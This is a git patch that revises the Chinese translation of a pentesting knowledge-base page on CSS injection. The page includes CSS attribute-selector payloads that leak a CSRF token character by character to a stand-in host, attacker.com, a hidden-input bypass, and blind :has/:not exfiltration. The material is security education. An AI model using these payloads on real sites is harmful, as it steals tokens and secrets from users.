From 82e50c12b5ea9125e7f7011ddc5196e8c7f301d2 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 00:18:20 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md'] --- .../xs-search/css-injection/README.md | 264 ++++++++++-------- 1 file changed, 153 insertions(+), 111 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 0965dd329..c9d5060a9 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -1,12 +1,12 @@ -# CSS 注入 +# CSS Injection {{#include ../../../banners/hacktricks-training.md}} -## CSS 注入 +## CSS Injection ### 属性选择器 -CSS 选择器被设计用来匹配 `input` 元素的 `name` 和 `value` 属性的值。如果输入元素的值属性以特定字符开头,则加载预定义的外部资源: +CSS 选择器被构造为匹配 `input` 元素的 `name` 和 `value` 属性的值。如果 `input` 元素的 `value` 属性以特定字符开头,则会加载预定义的外部资源: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不会加载背景。 +然而,这种方法在处理隐藏输入元素(`type="hidden"`)时存在一个限制,因为隐藏元素不会加载背景。 -#### 绕过隐藏元素的限制 +#### Bypass for Hidden Elements -为了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后,CSS 规则适用于所有在隐藏输入元素之后的兄弟元素,从而导致背景图像加载: +为绕过此限制,您可以使用 `~` 通用兄弟选择器 (general sibling combinator) 定位后续的兄弟元素。该 CSS 规则随后会应用于所有位于 hidden input 元素之后的兄弟元素,从而导致背景图像被加载: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -一个利用此技术的实际例子在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。 +关于利用该技术的一个实际示例已在提供的代码片段中详细说明。您可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。 -#### CSS 注入的先决条件 +#### CSS Injection 的先决条件 -为了使 CSS 注入技术有效,必须满足某些条件: +要使 CSS Injection 技术有效,需要满足某些条件: -1. **有效负载长度**:CSS 注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。 -2. **CSS 重新评估**:您应该能够框架页面,这对于触发使用新生成的有效负载重新评估 CSS 是必要的。 -3. **外部资源**:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略 (CSP) 的限制。 +1. **Payload Length**: CSS Injection 向量必须支持足够长的 payload,以容纳构造的选择器。 +2. **CSS Re-evaluation**: 您应当能够将页面嵌入 iframe,这对于触发 CSS 针对新生成 payloads 的重新评估是必要的。 +3. **External Resources**: 该技术假设可以使用外部托管的图片。这可能会被站点的 Content Security Policy (CSP) 限制。 -### 盲属性选择器 +### Blind Attribute Selector -正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\ -还可以使用这些选择器从多个相同类型的块中提取信息,例如: +正如[**此文所述**](https://portswigger.net/research/blind-css-exfiltration),可以将选择器 **`:has`** 和 **`:not`** 结合使用来识别来自盲元素的内容。当你不知道加载 CSS injection 的网页内部有什么时,这非常有用。\ +也可以使用这些选择器从多个相同类型的区块中提取信息,例如: ```html